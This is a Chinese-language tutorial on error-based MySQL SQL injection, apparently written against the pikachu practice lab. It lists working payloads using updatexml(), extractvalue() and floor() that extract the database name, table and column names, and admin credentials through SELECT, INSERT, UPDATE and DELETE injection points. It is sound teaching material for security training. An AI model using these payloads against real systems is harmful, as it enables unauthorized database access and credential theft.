SQL注入漏洞

base on pikachu 

Sql-Inject漏洞手动测试-基于函数报错的信息获取

- 常用的报错函数updatexml()、extractvalue()、floor()
- 基于函数报错的信息获取（select/insert/update/delete）

基于报错的信息获取

技巧思路：

在MYSQL中使用一些指定的函数来制造报错，从而从报错信息中获取设定的信息。

select/insert/update/delete都可以使用报错来获取信息。

背景条件：

后台没有屏蔽数据库报错信息，在语法发生错误时会输出在前端。

基于报错的信息获取-三个常用的用来报错的函数

updatexml() :函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。

extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数。

floor(): MYSQL中用来取整的函数。

基于报错的信息获取-三个常用的用来报错的函数-updatexml()

Updatexml()函数作用：改变（查找并替换）XML文档中符合条件的节点的值。

语法：UPDATEXML (xml_document, XPathstring, new_value)

第一个参数：fiedname是String格式，为表中的字段名。

第二个参数：XPathstring (Xpath格式的字符串)。

第三个参数：new_value，String格式，替换查找到的符合条件的

Xpath定位必须是有效的，否则则会发生错误

基于报错的信息获取-select下基于updatexml()报错获取信息

select下使用updatexml()报错举例：
http://x.x.x.x/ant/vulnerabilities/sqlinject/sqlinject_str.php

Test payload：kobe' and updatexml(1,concat(0x7e,version()),0)#

报错输出：XPATH syntax error: '~5.6.21'

Select下报错的利用演示

基于报错的信息获取-insert下基于updatexml()获取信息

insert下使用updatexml()报错来获取信息：
http://x.x.x.x/ant/vulnerabilities/sqlinject/sqlinjectiu/iu_register.php

Test Payload：
test001' or updatexml(1,concat(0x7e,database()),0) or'

报错输出： XPATH syntax error: '~ant'

基于报错的信息获取-insert下基于updatexml()获取信息

获取数据库表名：
test001' or updatexml(1,concat(0x7e,database()),0) or'

select table_name from information_schema.tables where table_schema='ant' limit 0,1

报错输出： 'XPATH syntax error: '~admin'

使用limit一次轮询出所有的表名称

基于报错的信息获取-insert下基于updatexml()获取信息

获取数据库指定表里面的列名：
test001' or updatexml(1,concat(0x7e,database()),0) or'

select column_name from information_schema.columns where table_name='admin' limit 0,1

报错输出： XPATH syntax error: '~username'

使用limit一次轮询出所有的表名称

基于报错的信息获取-insert下基于updatexml()获取信息

知道了表名称和列名称，查询数据就简单了：

test001' or updatexml(1,concat(0x7e,database()),0) or'

select username from admin where id=1
select pw from admin where id=1

报错输出： XPATH syntax error: '~admin ‘
报错输出：XPATH syntax error: '~5f4dcc3b5aa765d61d8327deb882cf9'

使用limit一次轮询出所有的表名称

基于报错的信息获取-delete,update下基于updatexml()获取信息

delete,update下使用updatexml()函数报错的思路和insert下一样，大家可以自己测试一下!

下面是在ant下的栗子参考：

update 下通过updatexml()获取信息：
测试点：http://192.168.112.200/ant/vulnerabilities/sqlinject/sqlinjectiu/iu_mem_edit.php(需要登录)
Test payload ： 女' or updatexml(1,concat(0x7e,database()),0) or'

delete下通过updatexml()获取信息：
测试点：http://192.168.112.200/ant/vulnerabilities/sqlinject/sqlinjectdel/message_del.php?id=
Test payload: 1 and updatexml(1,concat(0x7e,(version())),0)

基于报错的信息获取-三个常用的用来报错的函数-extractvalue()

extractvalue()函数作用：从目标XML中返回包含所查询值的字符串。

语法： ExtractValue(xml_document, xpath_string)

第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc
第二个参数：XPath_string (Xpath格式的字符串)

Xpath定位必须是有效的，否则则会发生错误

基于报错的信息获取-基于extractvalue()获取信息

select下使用extractvalue()报错举例：
http://x.x.x.x/ant/vulnerabilities/sqlinject/sqlinject_str.php

Test payload：kobe' and extractvalue(0,concat(0x7e,version()))#

报错输出：XPATH syntax error: '~5.6.21'

基于报错的信息获取-基于extractvalue()获取信息

insert下使用extractvalue()报错来获取信息：
http://x.x.x.x/ant/vulnerabilities/sqlinject/sqlinjectiu/iu_register.php

获取数据库信息，Test Payload：
test001 ‘ or extractvalue(1,concat(0x7e,database())) or’

获取数据库表名称，Test Payload:
test001' or extractvalue(0,concat(0x7e,
(select table_name from information_schema.tables where table_schema='ant' limit 0,1)
)) or ‘
获取数据库列名称，Test Payload:
test001' or extractvalue(0,concat(0x7e,
(select column_name from information_schema.columns where table_name='admin' limit 0,1)
)) or'
获取指定的表数据库，Test Payload:
test001' or extractvalue(0,concat(0x7e,
(select username from ant.admin where id=1)
)) or'

基于报错的信息获取-delete,update下基于extractvalue()获取信息

delete,update下使用extractvalue()函数报错的思路和insert下一样，大家可以自己测试一下!

下面是在ant下的栗子参考：

update 下通过extractvalue()获取信息：
测试点：http://192.168.112.200/ant/vulnerabilities/sqlinject/sqlinjectiu/iu_mem_edit.php(需要登录)
Test payload ： 女' or extractvalue(0,concat(0x7e,database())) or'

delete下通过extractvalue()获取信息：
测试点：http://192.168.112.200/ant/vulnerabilities/sqlinject/sqlinjectdel/message_del.php?id=
Test payload: 1 and extractvalue(0,concat(0x7e,(version())))

基于报错的信息获取-三个常用的用来报错的函数-floor()

floor()函数作用：取整。

```
mysql> select floor(1111.567);
+-----------------+
| floor(1111.567) |
+-----------------+
|            1111 |
+-----------------+
1 row in set (0.03 sec)

mysql>
```

rand()的结果不可以作为order by的条件字段，也不可以作为group by的。

使用floor()报错，需要count(*)，rand()、group by，三者缺一不可。

基于报错的信息获取-三个常用的用来报错的函数-floor()

select下使用floor()报错举例：
http://x.x.x.x/ant/vulnerabilities/sqlinject/sqlinject_str.php

Test Payload:
kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#

获取表信息：
(select table_name from information_schema.tables where table_schema='ant' limit 0,1)

其他信息获取的方法与之前的思路一样，请大家自己动手测试！

谢 谢

“听”而不思则罔，思而不“练”则殆